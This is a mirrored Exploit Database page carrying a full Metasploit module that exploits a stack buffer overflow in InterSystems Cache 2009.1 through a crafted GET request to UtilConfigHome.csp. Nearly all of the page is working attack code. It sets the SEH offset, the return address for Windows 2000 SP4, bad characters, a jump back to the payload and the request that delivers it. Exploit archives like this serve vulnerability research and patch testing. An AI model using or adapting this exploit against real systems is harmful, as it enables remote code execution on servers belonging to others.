InterSystems Cache – UtilConfigHome.csp Argument Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-07-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16807/

• ##
  # $Id: intersystems_cache.rb 9797 2010-07-12 23:25:31Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
  				By sending a specially crafted GET request, an attacker may be able to execute
  				arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9797 $',
  			'References' =>
  				[
  					[ 'OSVDB', '60549' ],
  					[ 'BID', '37177' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 650,
  					'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Sep 29 2009')) # Initially...!
  
  		register_options( [ Opt::RPORT(57772) ], self.class )
  	end
  
  	def exploit
  		# offset to the seh frame.
  		sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
  		# jmp $+6 | p/p/r
  		sploit <<Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
  		# fall into some nops, jmp back to our final payload.
  		sploit <<make_nops(8) + [0xe9, -700].pack('CV')
  		# cause the av!
  		sploit <<rand_text_alpha_upper(payload.encoded.length)
  
  		print_status("Trying target #{target.name}...")
  
  		send_request_raw({
  				'uri'=> '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
  				'method' => 'GET',
  			}, 5)
  
  		handler
  	end
  end